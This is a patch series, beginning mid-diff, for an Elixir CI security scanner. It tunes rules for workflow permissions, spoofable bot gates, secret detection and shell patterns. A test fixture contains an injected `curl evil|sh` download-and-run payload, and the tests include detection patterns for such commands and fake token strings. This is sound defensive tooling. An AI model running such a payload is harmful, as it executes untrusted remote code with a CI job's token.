reusable_caller_job?(body) do [] else [ @@ -1090,6 +1111,32 @@ defmodule Hypatia.Rules.WorkflowHardening do end end + @doc """ + Return true when a job body (as produced by the job extractor, header line + first) has a JOB-LEVEL `uses:` key, i.e. it calls a reusable workflow. + Step-level `uses:` sits deeper (`- uses:` or under `- name:`) and is not + matched: only a `uses:` at the job's own key indentation counts. + """ + def reusable_caller_job?(body) when is_binary(body) do + keys = + body + |> String.split("\n") + |> Enum.drop(1) + |> Enum.reject(&(String.trim(&1) == "" or String.starts_with?(String.trim(&1), "#"))) + + case keys do + [] -> + false + + [first | _] -> + key_indent = indent_of(first) + + Enum.any?(keys, fn line -> + indent_of(line) == key_indent and Regex.match?(~r/^\s*uses:\s*\S/, line) + end) + end + end + # Extract every job definition from the workflow content. Returns # `[{job_id, line_no, body}]`. Approximate — assumes 2-space indent # under `jobs:`. @@ -1098,7 +1145,9 @@ defmodule Hypatia.Rules.WorkflowHardening do in_jobs? = false jobs_indent = nil - {acc, _, _, _} = + # The final job is still in flight when the lines run out; it must be + # flushed too, or the last job of every workflow is never checked. + {acc, _, _, last} = Enum.with_index(lines, 1) |> Enum.reduce({[], in_jobs?, jobs_indent, nil}, fn {line, _no}, {acc, false, _ji, _current} -> @@ -1119,14 +1168,14 @@ defmodule Hypatia.Rules.WorkflowHardening do {acc, true, nil, current} end - {line, _no}, {acc, true, jobs_indent, current} -> + {line, no}, {acc, true, jobs_indent, current} -> case Regex.run(~r/^(\s+)([a-zA-Z0-9_-]+):\s*$/, line) do [_, ws, job_id] -> this_indent = String.length(ws) if this_indent == jobs_indent do acc2 = flush(acc, current) - {acc2, true, jobs_indent, {job_id, current_line_no(current, line), [line]}} + {acc2, true, jobs_indent, {job_id, no, [line]}} else # Still in current job body {acc, true, jobs_indent, append_line(current, line)} @@ -1144,12 +1193,9 @@ defmodule Hypatia.Rules.WorkflowHardening do end end) - Enum.reverse(acc) + acc |> flush(last) |> Enum.reverse() end - defp current_line_no(nil, _line), do: 0 - defp current_line_no({_id, no, _body}, _line), do: no - defp append_line(nil, _), do: nil defp append_line({id, no, body}, line), do: {id, no, [line | body]} diff --git a/scripts/sweeps/estate-pin-integrity.sh b/scripts/sweeps/estate-pin-integrity.sh index de6a2917..1a51df73 100755 --- a/scripts/sweeps/estate-pin-integrity.sh +++ b/scripts/sweeps/estate-pin-integrity.sh @@ -119,6 +119,8 @@ relabel_comment() { local body="${comment#\#}" local lead="${body%%[![:space:]]*}" local trimmed="${body#"$lead"}" + # A bare claim (no `#`, no leading space) normalises to `# vX`, as relabel/2 does. + [ "$body" = "$comment" ] && [ -z "$lead" ] && lead=" " if printf '%s' "$trimmed" | grep -qE '^v?[0-9]+(\.[0-9]+)*([[:space:]]|$)'; then printf '%s%s' "#${lead}" \ "$(printf '%s' "$trimmed" | sed -E "0,/^v?[0-9]+(\.[0-9]+)*/s//v${version}/")" diff --git a/test/honest_completion_test.exs b/test/honest_completion_test.exs index 21b240d3..38ba2756 100644 --- a/test/honest_completion_test.exs +++ b/test/honest_completion_test.exs @@ -84,6 +84,29 @@ defmodule Hypatia.Rules.HonestCompletionTest do assert Enum.any?(findings, &(&1.type == :no_tests)) end + test "a CI-checked proof suite counts as tests (echo-types#271)" do + evidence = base_evidence(%{has_tests_dir: false, test_files: 0, has_proof_suite: true}) + findings = HonestCompletion.generate_findings(%{}, evidence) + refute Enum.any?(findings, &(&1.type == :no_tests)) + end + + test "collect_evidence/1 needs proof sources AND a checker in CI" do + root = Path.join(System.tmp_dir!(), "hc_proof_#{System.unique_integer([:positive])}") + File.mkdir_p!(Path.join(root, "proofs/agda")) + File.write!(Path.join(root, "proofs/agda/All.agda"), "module All where\n") + refute HonestCompletion.collect_evidence(root).has_proof_suite + + File.mkdir_p!(Path.join(root, ".github/workflows")) + + File.write!( + Path.join(root, ".github/workflows/agda.yml"), + "jobs:\n check:\n steps:\n - run: agda --safe proofs/agda/All.agda\n" + ) + + assert HonestCompletion.collect_evidence(root).has_proof_suite + File.rm_rf!(root) + end + test "flags high TODO density" do claims = %{} evidence = base_evidence(%{todo_count: 100, source_files: 50}) diff --git a/test/rules/pin_integrity_test.exs b/test/rules/pin_integrity_test.exs index 258eb3d3..1e323b1d 100644 --- a/test/rules/pin_integrity_test.exs +++ b/test/rules/pin_integrity_test.exs @@ -91,7 +91,10 @@ defmodule Hypatia.Rules.PinIntegrityTest do describe "denylisted?/3" do test "matches the SHA, the tag and the bare version — all three spellings" do assert %{"id" => "PIN-001"} = PI.denylisted?(@policy, "github/codeql-action/init", @poison) - assert %{"id" => "PIN-001"} = PI.denylisted?(@policy, "github/codeql-action/analyze", "v4.38.1") + + assert %{"id" => "PIN-001"} = + PI.denylisted?(@policy, "github/codeql-action/analyze", "v4.38.1") + assert %{"id" => "PIN-001"} = PI.denylisted?(@policy, "github/codeql-action/init", "4.38.1") end @@ -183,7 +186,10 @@ defmodule Hypatia.Rules.PinIntegrityTest do describe "claimed_version/1" do test "reads the estate's real comment shapes" do assert PI.claimed_version("v4.38.0") == "4.38.0" - assert PI.claimed_version("v4.38.0 (4.38.1 blocked estate-wide; nexia-list#100)") == "4.38.0" + + assert PI.claimed_version("v4.38.0 (4.38.1 blocked estate-wide; nexia-list#100)") == + "4.38.0" + assert PI.claimed_version("v3") == "3" assert PI.claimed_version("Pinned to v1.2.3 — do not move") == "1.2.3" end @@ -201,6 +207,8 @@ defmodule Hypatia.Rules.PinIntegrityTest do # The comment arrives from pin_sites/1 without its leading `#`. assert PI.relabel("v3", "4.38.0") == "# v4.38.0" assert PI.relabel("# v3", "4.38.0") == "# v4.38.0" + # A bare claim without the `v` must keep its first digit. + assert PI.relabel("4.38.1", "4.38.0") == "# v4.38.0" end test "leaves a comment that already carries the good version byte-identical" do diff --git a/test/scanner_suppression_test.exs b/test/scanner_suppression_test.exs index b94bbca9..e8c8f044 100644 --- a/test/scanner_suppression_test.exs +++ b/test/scanner_suppression_test.exs @@ -310,6 +310,32 @@ defmodule Hypatia.ScannerSuppressionTest do end end + describe "suppressed?/3 — harvested-registry/ (#865)" do + test "secret_detected is exempt inside harvested third-party manifests" do + assert ScannerSuppression.suppressed?( + "machine-readable-design/harvested-registry/elixir/phoenix-service.ncl", + "security_errors", + "secret_detected" + ) + end + + test "other security_errors rules still scan harvested-registry/" do + refute ScannerSuppression.suppressed?( + "machine-readable-design/harvested-registry/elixir/phoenix-service.ncl", + "security_errors", + "sql-injection" + ) + end + + test "secret_detected outside harvested-registry/ is unaffected" do + refute ScannerSuppression.suppressed?( + "machine-readable-design/phoenix-service.ncl", + "security_errors", + "secret_detected" + ) + end + end + describe "suppressed?/3 — benches/" do # Cargo puts benchmarks in `benches/`. A benchmark that unwraps or panics is # normal: the failure costs a benchmark run, not a user's session, and setup @@ -554,17 +580,28 @@ defmodule Hypatia.ScannerSuppressionTest do test "ghp_/glpat_ with xxxxx filler is a placeholder (both spellings)" do assert ScannerSuppression.placeholder_secret_line?(~s{# token = "ghp_xxxxxxxxxxxxxxxxxxxx"}) - assert ScannerSuppression.placeholder_secret_line?(~s{# token = "glpat-xxxxxxxxxxxxxxxxxxxx"}) + + assert ScannerSuppression.placeholder_secret_line?( + ~s{# token = "glpat-xxxxxxxxxxxxxxxxxxxx"} + ) end test "your-* and changeme fillers are placeholders" do - assert ScannerSuppression.placeholder_secret_line?(~s{webhook_secret = "your-webhook-secret"}) + assert ScannerSuppression.placeholder_secret_line?( + ~s{webhook_secret = "your-webhook-secret"} + ) + assert ScannerSuppression.placeholder_secret_line?("password = \"changeme\"") end test "a real-looking value is NOT a placeholder (both directions)" do - refute ScannerSuppression.placeholder_secret_line?("token = \"ghp_7Qj3vKpLmN5xRtYwZbC8dFgH4jK6mP9qS2vU\"") - refute ScannerSuppression.placeholder_secret_line?("AWS_SECRET_ACCESS_KEY = \"AKIA1a2B3c4D5e6F7g8H\"") + refute ScannerSuppression.placeholder_secret_line?( + "token = \"ghp_7Qj3vKpLmN5xRtYwZbC8dFgH4jK6mP9qS2vU\"" + ) + + refute ScannerSuppression.placeholder_secret_line?( + "AWS_SECRET_ACCESS_KEY = \"AKIA1a2B3c4D5e6F7g8H\"" + ) end test "placeholder demotes to medium/report regardless of comment" do diff --git a/test/structural_drift_test.exs b/test/structural_drift_test.exs index e1ec433c..1b43057c 100644 --- a/test/structural_drift_test.exs +++ b/test/structural_drift_test.exs @@ -424,6 +424,34 @@ defmodule Hypatia.Rules.StructuralDriftTest do assert findings == [] end + test "a repo without a root src/ does not own root-relative src/ refs (standards#945)", + %{repo: repo} do + # Nested project has a src/, so the index is non-empty… + File.mkdir_p!(Path.join([repo, "tools", "x", "src", "lib"])) + File.write!(Path.join([repo, "tools", "x", "src", "lib", "a.rs"]), "") + # …but a spec quoting ANOTHER project's layout is not drift here. + File.mkdir_p!(Path.join(repo, "spec")) + File.write!(Path.join([repo, "spec", "K9.adoc"]), "Do not replace src/tea/ runtime.") + # A doc beside the nested src/ still has its references checked. + File.write!(Path.join([repo, "tools", "x", "README.md"]), "See src/gone/ for it.") + System.cmd("git", ["init"], cd: repo) + System.cmd("git", ["add", "."], cd: repo) + + System.cmd("git", ["commit", "-m", "init", "--no-gpg-sign"], + cd: repo, + env: [ + {"GIT_AUTHOR_NAME", "T"}, + {"GIT_AUTHOR_EMAIL", "t@t"}, + {"GIT_COMMITTER_NAME", "T"}, + {"GIT_COMMITTER_EMAIL", "t@t"} + ] + ) + + findings = StructuralDrift.sd022_stale_path_after_rename(repo) + refute Enum.any?(findings, &(&1.stale_dir == "tea")) + assert Enum.any?(findings, &(&1.stale_dir == "gone" and &1.file == "tools/x/README.md")) + end + test "returns empty when src/ has no subdirs", %{repo: repo} do File.write!(Path.join(repo, "README.md"), "test") findings = StructuralDrift.sd022_stale_path_after_rename(repo) diff --git a/test/unified-api-adapter-contract_test.exs b/test/unified-api-adapter-contract_test.exs index 47e8be84..c86f53a1 100644 --- a/test/unified-api-adapter-contract_test.exs +++ b/test/unified-api-adapter-contract_test.exs @@ -93,7 +93,9 @@ defmodule Hypatia.UnifiedApiAdapterContractTest do test "the JSON manifest numbers connectors sequentially from zero" do conns = - Path.join(@root, "ffi/connectors.json") |> File.read!() |> Jason.decode!() + Path.join(@root, "ffi/connectors.json") + |> File.read!() + |> Jason.decode!() |> Map.fetch!("connectors") # Derived from the golden, never a hand-written 16: the count is pinned by @@ -113,7 +115,9 @@ defmodule Hypatia.UnifiedApiAdapterContractTest do "scraped #{map_size(ids)} wire ids but #{length(golden_names())} names from #{@golden_path}" conns = - Path.join(@root, "ffi/connectors.json") |> File.read!() |> Jason.decode!() + Path.join(@root, "ffi/connectors.json") + |> File.read!() + |> Jason.decode!() |> Map.fetch!("connectors") for %{"id" => id, "name" => name} <- conns do diff --git a/test/workflow_hardening_test.exs b/test/workflow_hardening_test.exs index 72904d42..7d12c29c 100644 --- a/test/workflow_hardening_test.exs +++ b/test/workflow_hardening_test.exs @@ -733,6 +733,75 @@ defmodule Hypatia.Rules.WorkflowHardeningTest do # while every run reported success. The arms below mirror the four-arm # planted-positive control run against the real files. + describe "standards#943 precision — mirror pushes and reusable callers" do + test "WH013 is silent when every push targets a foreign-forge remote" do + repo = + create_repo_with_workflow(""" + name: Mirror + permissions: + contents: read + jobs: + gitlab: + runs-on: ubuntu-latest + timeout-minutes: 10 + steps: + - run: | + git remote add gitlab "git@gitlab.com:hyperpolymath/x.git" + git push --force gitlab main + git push -u backup --tags + """) + + assert [] = WorkflowHardening.wh013_permission_starved_write(repo) + File.rm_rf!(repo) + end + + test "WH013 still fires when an origin push rides alongside a mirror push" do + repo = + create_repo_with_workflow(""" + name: Mixed + permissions: + contents: read + jobs: + sync: + runs-on: ubuntu-latest + steps: + - run: git push gitlab main && git push origin main + """) + + assert [%{rule: "WH013"}] = WorkflowHardening.wh013_permission_starved_write(repo) + File.rm_rf!(repo) + end + + test "strip_foreign_pushes/1 keeps bare, origin and variable-remote pushes" do + assert WorkflowHardening.performs_contents_write?("run: git push") + assert WorkflowHardening.performs_contents_write?("run: git push --force origin HEAD") + assert WorkflowHardening.performs_contents_write?(~s(run: git push "$REMOTE" main)) + refute WorkflowHardening.performs_contents_write?("run: git push --mirror codeberg") + end + + test "WH006 skips a job-level reusable-workflow caller, not a job with step uses" do + repo = + create_repo_with_workflow(""" + name: CodeQL + jobs: + analyze-js: + uses: ./.github/workflows/codeql-reusable.yml + with: + language: javascript + build: + runs-on: ubuntu-latest + steps: + - name: checkout + uses: actions/checkout@v4 + """) + + assert [%{rule: "WH006", detail: %{job: "build"}}] = + WorkflowHardening.wh006_missing_job_timeout(repo) + + File.rm_rf!(repo) + end + end + describe "wh014_masked_scanner_upload/1" do test "fires on mask + upload with no findings assertion (the measured shape)" do repo = From ac19abb6653afe64015981716e461759e1f32a4e Mon Sep 17 00:00:00 2001 From: "Jonathan D.A. Jewell" <6759885+hyperpolymath@users.noreply.github.com> Date: Wed, 30 Sep 2026 11:13:26 +0100 Subject: [PATCH 08/17] fix(rules): eval/download-then-run/hardcoded_tmp skip comment lines (C4) Every comment-line hit in standards#936/#939 was prose: usage examples, '(no eval)' notes, and payload descriptions in security-gate comments. The C4 opt-in already exists (skip_comment_lines); these three rules never set it. Measured on standards main bd9313a6: 161 -> 150 findings (download_then_run_shell 7->2, eval_in_shell 7->5, hardcoded_tmp 45->41). Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QFphKkDVB9pUDSCD4bkz65 --- lib/rules/cicd_rules.ex | 15 +++++++-- .../rules/cicd_rules_content_scanner_test.exs | 31 +++++++++++++++++++ 2 files changed, 43 insertions(+), 3 deletions(-) diff --git a/lib/rules/cicd_rules.ex b/lib/rules/cicd_rules.ex index 93026fad..70cbe0e8 100644 --- a/lib/rules/cicd_rules.ex +++ b/lib/rules/cicd_rules.ex @@ -667,7 +667,10 @@ defmodule Hypatia.Rules.CicdRules do id: :eval_in_shell, pattern: ~r/\beval\b/, reason: "eval banned in shell scripts -- use direct expansion or arrays", - applies_to: ["*.sh"] + applies_to: ["*.sh"], + # C4: comments describing a payload or a usage example are prose, not + # execution (standards#936/#939: every comment-line hit was a false positive). + skip_comment_lines: true }, # --- Scanner-derived rule (2026-09-01) ----------------------------- # @@ -713,7 +716,10 @@ defmodule Hypatia.Rules.CicdRules do id: :download_then_run_shell, pattern: ~r/\b(curl|wget)\b[^\n|;]*\|\s*(sh|bash)\b/, reason: "download-then-run banned -- verify checksum/signature before execution", - applies_to: ["*.sh", "*.yml", "*.yaml"] + applies_to: ["*.sh", "*.yml", "*.yaml"], + # C4: comments describing a payload or a usage example are prose, not + # execution (standards#936/#939: every comment-line hit was a false positive). + skip_comment_lines: true }, %{ id: :js_insecure_random_security_context, @@ -727,7 +733,10 @@ defmodule Hypatia.Rules.CicdRules do pattern: ~r/["'\/]tmp\//, reason: "Hardcoded /tmp/ paths -- use mktemp", applies_to: ["*.sh"], - exception: "Containerfile" + exception: "Containerfile", + # C4: comments describing a payload or a usage example are prose, not + # execution (standards#936/#939: every comment-line hit was a false positive). + skip_comment_lines: true }, %{ id: :template_placeholder, diff --git a/test/rules/cicd_rules_content_scanner_test.exs b/test/rules/cicd_rules_content_scanner_test.exs index 7d42ec65..21891c99 100644 --- a/test/rules/cicd_rules_content_scanner_test.exs +++ b/test/rules/cicd_rules_content_scanner_test.exs @@ -56,6 +56,37 @@ defmodule Hypatia.Rules.CicdRules.ContentScannerTest do end end + describe "comment lines are prose, not execution (standards#936/#939)" do + test "eval_in_shell ignores comments but still fires on code", %{dir: dir} do + File.write!( + Path.join(dir, "t.sh"), + "# try DESC CMD [ARGS...] -- runs CMD as a real command (no eval)\n" + ) + + refute Enum.any?(CicdRules.scan_content_patterns(dir), &(&1.rule == :eval_in_shell)) + + File.write!(Path.join(dir, "u.sh"), " # eval-free\neval \"$x\"\n") + assert Enum.any?(CicdRules.scan_content_patterns(dir), &(&1.rule == :eval_in_shell)) + end + + test "download_then_run_shell ignores an indented YAML comment", %{dir: dir} do + File.write!( + Path.join(dir, "gate.yml"), + " run: |\n # `x\";curl evil|sh;\"` would run here with this job's token\n" + ) + + refute Enum.any?( + CicdRules.scan_content_patterns(dir), + &(&1.rule == :download_then_run_shell) + ) + end + + test "hardcoded_tmp ignores a usage example in a comment", %{dir: dir} do + File.write!(Path.join(dir, "l.sh"), "# e.g. ./list.sh > /tmp/paths.txt\n") + refute Enum.any?(CicdRules.scan_content_patterns(dir), &(&1.rule == :hardcoded_tmp)) + end + end + describe "inline pragma — # hypatia:ignore " do test "same-line pragma suppresses", %{dir: dir} do File.write!(Path.join(dir, "ok.sh"), "eval \"$safe\" # hypatia:ignore eval_in_shell\n") From 15f82137e4f8ebb3eea401119b6fa7b235b9e793 Mon Sep 17 00:00:00 2001 From: "Jonathan D.A. Jewell" <6759885+hyperpolymath@users.noreply.github.com> Date: Wed, 30 Sep 2026 11:17:53 +0100 Subject: [PATCH 09/17] fix(secrets): form-ambiguous labels do not apply in proof-assistant sources Isabelle names lemmas as `lemma inj_secret: "..."`, which is the `secret: "..."` shape; absolute-zero OND.thy:62 was a critical revoke_rotate_and_purge on a lemma. Only the three form-ambiguous labels are dropped, and only in .thy/.v/.agda/.lean/.idr (+ literate) files; unforgeable shapes (GitHub PAT, AKIA, PEM) still fire there. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QFphKkDVB9pUDSCD4bkz65 --- lib/hypatia/cli.ex | 1 + lib/hypatia/scanner_suppression.ex | 18 ++++++++++++++++++ test/scanner_suppression_test.exs | 14 ++++++++++++++ 3 files changed, 33 insertions(+) diff --git a/lib/hypatia/cli.ex b/lib/hypatia/cli.ex index 112cb000..fc2fb332 100644 --- a/lib/hypatia/cli.ex +++ b/lib/hypatia/cli.ex @@ -1173,6 +1173,7 @@ defmodule Hypatia.CLI do |> Enum.reject( &Hypatia.ScannerSuppression.comment_masked_secret_label?(&1, line, idx + 1) ) + |> Enum.reject(&Hypatia.ScannerSuppression.proof_source_ambiguous_label?(&1, file)) |> Enum.map(fn label -> # Placeholder-shaped values and commented-out lines downgrade to # medium/report instead of critical/revoke_rotate_and_purge diff --git a/lib/hypatia/scanner_suppression.ex b/lib/hypatia/scanner_suppression.ex index 0a1df226..37f1542b 100644 --- a/lib/hypatia/scanner_suppression.ex +++ b/lib/hypatia/scanner_suppression.ex @@ -345,6 +345,24 @@ defmodule Hypatia.ScannerSuppression do def comment_masked_secret_label?(_label, _line, _line_number), do: false + # Proof-assistant sources name lemmas and definitions with `name: "prop"` + # (Isabelle `lemma inj_secret: "…"`), which is exactly the `secret: "…"` + # form. They carry no runtime configuration, so only the three + # form-ambiguous labels are dropped there; structurally-unforgeable shapes + # (`ghp_…`, `AKIA…`, PEM blocks) still fire. absolute-zero OND.thy:62. + @proof_source_exts ~w(.thy .v .agda .lagda .lean .idr .lidr) + + @doc """ + Return true when `label` is form-ambiguous and `file` is a proof-assistant + source (`.thy`, `.v`, `.agda`, `.lean`, `.idr`, and their literate forms). + """ + def proof_source_ambiguous_label?(label, file) when is_binary(label) and is_binary(file) do + label in @form_ambiguous_secret_labels and + (Path.extname(file) in @proof_source_exts or String.ends_with?(file, ".lagda.md")) + end + + def proof_source_ambiguous_label?(_label, _file), do: false + @doc """ Return true when `line` is a whole-line comment. diff --git a/test/scanner_suppression_test.exs b/test/scanner_suppression_test.exs index e8c8f044..ecc65d4b 100644 --- a/test/scanner_suppression_test.exs +++ b/test/scanner_suppression_test.exs @@ -630,4 +630,18 @@ defmodule Hypatia.ScannerSuppressionTest do ) end end + + describe "proof_source_ambiguous_label?/2 (absolute-zero OND.thy)" do + test "generic labels are dropped in proof sources" do + assert ScannerSuppression.proof_source_ambiguous_label?("Generic secret", "proofs/OND.thy") + assert ScannerSuppression.proof_source_ambiguous_label?("Password", "src/A.lagda.md") + assert ScannerSuppression.proof_source_ambiguous_label?("Generic API key", "Foo.v") + end + + test "unforgeable labels and non-proof files still fire" do + refute ScannerSuppression.proof_source_ambiguous_label?("GitHub PAT", "proofs/OND.thy") + refute ScannerSuppression.proof_source_ambiguous_label?("Generic secret", "config.exs") + refute ScannerSuppression.proof_source_ambiguous_label?("Generic secret", "README.md") + end + end end From 10a0f8ea6b9b0267722dad0b0af9a0ca3fe8f437 Mon Sep 17 00:00:00 2001 From: "Jonathan D.A. Jewell" <6759885+hyperpolymath@users.noreply.github.com> Date: Wed, 30 Sep 2026 11:26:35 +0100 Subject: [PATCH 10/17] fix(RE008): accept an actor gate already ANDed with the PR author github.actor == 'dependabot[bot]' && github.event.pull_request.user.login == 'dependabot[bot]' is the rule's own recommended fix applied: the unforgeable author check can only be narrowed by the actor half. It was reported CRITICAL on panoply and nextgen-typing dependabot-automerge.yml. An ORed author check, or one naming a different bot, still fires. Local: 1690 tests / 0 failures; panoply and nextgen-typing criticals 1 -> 0. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QFphKkDVB9pUDSCD4bkz65 --- lib/rules/research_extensions.ex | 23 +++++++++++++++++++++-- test/research_extensions_test.exs | 30 ++++++++++++++++++++++++++++++ 2 files changed, 51 insertions(+), 2 deletions(-) diff --git a/lib/rules/research_extensions.ex b/lib/rules/research_extensions.ex index 970e1d72..7fe11fa7 100644 --- a/lib/rules/research_extensions.ex +++ b/lib/rules/research_extensions.ex @@ -832,11 +832,17 @@ defmodule Hypatia.Rules.ResearchExtensions do content = File.read!(path) rel = Path.relative_to(path, repo_path) + lines = String.split(content, "\n") + Regex.scan(bot_gate_re, content, return: :index) |> Enum.map(fn [{idx, _}, {name_start, name_len}] -> name = binary_part(content, name_start, name_len) - line_no = line_number_for_offset(content, idx) - + {name, line_number_for_offset(content, idx)} + end) + |> Enum.reject(fn {name, line_no} -> + author_pinned_gate?(Enum.at(lines, line_no - 1, ""), name) + end) + |> Enum.map(fn {name, line_no} -> %{ rule: "RE008", file: rel, @@ -859,6 +865,19 @@ defmodule Hypatia.Rules.ResearchExtensions do end) end + # The rule's own recommended fix, already applied: the same condition ANDs in + # the PR author (`github.event.pull_request.user.login`), which a fork cannot + # forge. With `&&` and no `||` the spoofable `github.actor` half can only + # narrow the gate, never open it (panoply / nextgen-typing + # dependabot-automerge.yml were reported CRITICAL for exactly this shape). + defp author_pinned_gate?(line, name) do + author_re = + ~r/github\.event\.pull_request\.user\.login\s*==\s*['"]#{Regex.escape(name)}['"]/ + + String.contains?(line, "&&") and not String.contains?(line, "||") and + Regex.match?(author_re, line) + end + # ─── RE009: fromJSON(secrets.X) bypasses runner redaction ──────────── @doc """ diff --git a/test/research_extensions_test.exs b/test/research_extensions_test.exs index d4afd080..08bd5c66 100644 --- a/test/research_extensions_test.exs +++ b/test/research_extensions_test.exs @@ -541,6 +541,36 @@ defmodule Hypatia.Rules.ResearchExtensionsTest do assert ResearchExtensions.re008_spoofable_bot_gate(repo) == [] File.rm_rf!(repo) end + + test "accepts actor gate ANDed with the PR author (panoply/nextgen-typing)" do + repo = + create_repo_with_workflow(""" + jobs: + x: + if: github.actor == 'dependabot[bot]' && github.event.pull_request.user.login == 'dependabot[bot]' + steps: + - run: echo trusted + """) + + assert ResearchExtensions.re008_spoofable_bot_gate(repo) == [] + File.rm_rf!(repo) + end + + test "still flags when the author check is ORed or names another bot" do + repo = + create_repo_with_workflow(""" + jobs: + x: + if: github.actor == 'dependabot[bot]' || github.event.pull_request.user.login == 'dependabot[bot]' + y: + if: github.actor == 'dependabot[bot]' && github.event.pull_request.user.login == 'renovate[bot]' + steps: + - run: echo trusted + """) + + assert length(ResearchExtensions.re008_spoofable_bot_gate(repo)) == 2 + File.rm_rf!(repo) + end end # ─── RE009 ────────────────────────────────────────────────────────── From 81e550e6f0b9a0be73f47c88079782ec90bec13f Mon Sep 17 00:00:00 2001 From: "Jonathan D.A. Jewell" <6759885+hyperpolymath@users.noreply.github.com> Date: Wed, 30 Sep 2026 11:31:51 +0100 Subject: [PATCH 11/17] fix(WH002, must-have): follow repo-local scripts; accept AsciiDoc policy docs WH002 read only the workflow text, so absolute-zero wiki-sync.yml (`run: bash scripts/wiki-sync.sh`, which does the git push) was told "no write operation found - safe to narrow": following that advice breaks the sync. Repo-local .sh/.bash scripts invoked from the workflow are now included in write detection; paths outside the repo are not followed. The public-repo SECURITY.md requirement now accepts .adoc/.rst/.markdown (the estate writes AsciiDoc; Scorecard accepts the same set). Non-document requirements stay exact. Local: 1697 tests / 0 failures; absolute-zero high 5 -> 3. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QFphKkDVB9pUDSCD4bkz65 --- lib/rules/cicd_rules.ex | 21 ++++++++- lib/rules/workflow_hardening.ex | 28 +++++++++++- test/rules/cicd_repo_requirements_test.exs | 52 ++++++++++++++++++++++ test/workflow_hardening_test.exs | 42 +++++++++++++++++ 4 files changed, 141 insertions(+), 2 deletions(-) create mode 100644 test/rules/cicd_repo_requirements_test.exs diff --git a/lib/rules/cicd_rules.ex b/lib/rules/cicd_rules.ex index 70cbe0e8..960863ef 100644 --- a/lib/rules/cicd_rules.ex +++ b/lib/rules/cicd_rules.ex @@ -50,7 +50,10 @@ defmodule Hypatia.Rules.CicdRules do # Community-health files (SECURITY.md, CONTRIBUTING.md, …) are recognised # by GitHub in any of root, `.github/`, or `docs/`. Check all three so the # rule doesn't false-positive when SECURITY.md lives under `.github/`. - candidates = [file, Path.join(".github", file), Path.join("docs", file)] + candidates = + for name <- markup_variants(file), dir <- ["", ".github", "docs"] do + if dir == "", do: name, else: Path.join(dir, name) + end cond do # Repo-rooted check: nested paths like `.github/dependabot.yml` can @@ -67,6 +70,22 @@ defmodule Hypatia.Rules.CicdRules do end end + # A policy document is satisfied by any markup the estate writes it in. The + # estate's docs language is AsciiDoc, so `SECURITY.adoc` is the normal form; + # requiring the literal `.md` made every such repo a HIGH "missing SECURITY.md" + # (absolute-zero). OpenSSF Scorecard's Security-Policy check accepts the same + # set. Non-document requirements (`.yml`) are matched exactly. + @policy_markups ~w(.md .markdown .adoc .rst) + + defp markup_variants(file) do + if Path.extname(file) in @policy_markups do + base = Path.rootname(file) + Enum.map(@policy_markups, &(base <> &1)) + else + [file] + end + end + # --------------------------------------------------------------------------- # Commit Blocking Patterns # --------------------------------------------------------------------------- diff --git a/lib/rules/workflow_hardening.ex b/lib/rules/workflow_hardening.ex index 458e5105..9cbef269 100644 --- a/lib/rules/workflow_hardening.ex +++ b/lib/rules/workflow_hardening.ex @@ -216,7 +216,7 @@ defmodule Hypatia.Rules.WorkflowHardening do [finding_wh002(rel, "set to `write-all`", :high)] Regex.match?(~r/^permissions:\s*\n\s+contents:\s*write/m, content) -> - [wh002_contents_write_finding(rel, content)] + [wh002_contents_write_finding(rel, with_local_scripts(content, repo_path))] Regex.match?(~r/^permissions:\s*\n\s+write-all:\s*true/m, content) -> [finding_wh002(rel, "with `write-all: true`", :high)] @@ -288,6 +288,32 @@ defmodule Hypatia.Rules.WorkflowHardening do Regex.replace(@foreign_push, content, "") end + # A `run:` that calls a repo-local script (`bash scripts/wiki-sync.sh`, + # `./ci/release.sh`) performs whatever that script performs. Reading only the + # workflow text made WH002 call absolute-zero's wiki-sync.yml "no write + # operation found — safe to narrow" while scripts/wiki-sync.sh does the + # `git push` that needs the grant: the recommended narrowing breaks the sync. + # Only existing files under the repo are read; nothing outside it is followed. + @local_script_ref ~r/(? Regex.scan(content, capture: :all_but_first) + |> Enum.map(fn [ref] -> Path.expand(ref, root) end) + |> Enum.uniq() + |> Enum.filter(&(String.starts_with?(&1, root <> "/") and File.regular?(&1))) + |> Enum.map(&File.read!/1) + + Enum.join([content | scripts], "\n") + end + @doc """ Return true when at least one JOB declares its own `permissions:` block. A job-level block replaces the workflow-level one, so its presence means diff --git a/test/rules/cicd_repo_requirements_test.exs b/test/rules/cicd_repo_requirements_test.exs new file mode 100644 index 00000000..f9c0c2a3 --- /dev/null +++ b/test/rules/cicd_repo_requirements_test.exs @@ -0,0 +1,52 @@ +# SPDX-License-Identifier: MPL-2.0 + +defmodule Hypatia.Rules.CicdRepoRequirementsTest do + use ExUnit.Case, async: true + + alias Hypatia.Rules.CicdRules + + defp repo_with(files) do + repo = Path.join(System.tmp_dir!(), "req_test_#{System.unique_integer([:positive])}") + + for f <- files do + path = Path.join(repo, f) + File.mkdir_p!(Path.dirname(path)) + File.write!(path, "x\n") + end + + File.mkdir_p!(repo) + repo + end + + defp missing(repo) do + %{visibility: "public", has_deps: false, files: [], repo_path: repo} + |> CicdRules.check_repo_requirements() + |> Enum.map(& &1.missing) + end + + describe "security policy in any markup (absolute-zero SECURITY.adoc)" do + test "SECURITY.adoc at the root satisfies the requirement" do + repo = repo_with(["SECURITY.adoc"]) + refute "SECURITY.md" in missing(repo) + File.rm_rf!(repo) + end + + test ".github/SECURITY.rst satisfies it too" do + repo = repo_with([".github/SECURITY.rst"]) + refute "SECURITY.md" in missing(repo) + File.rm_rf!(repo) + end + + test "no policy document at all is still reported" do + repo = repo_with(["README.adoc"]) + assert "SECURITY.md" in missing(repo) + File.rm_rf!(repo) + end + + test "a non-document requirement is not widened to other extensions" do + repo = repo_with([".github/workflows/scorecard.adoc"]) + assert ".github/workflows/scorecard.yml" in missing(repo) + File.rm_rf!(repo) + end + end +end diff --git a/test/workflow_hardening_test.exs b/test/workflow_hardening_test.exs index 7d12c29c..144af9ee 100644 --- a/test/workflow_hardening_test.exs +++ b/test/workflow_hardening_test.exs @@ -528,6 +528,48 @@ defmodule Hypatia.Rules.WorkflowHardeningTest do # state was WH002 answering the first question WITHOUT the second, so its # remediation removed a capability the workflow depended on. + describe "wh002_excessive_permissions/1 — writes one call away (absolute-zero wiki-sync)" do + defp wiki_sync_repo(script_body, 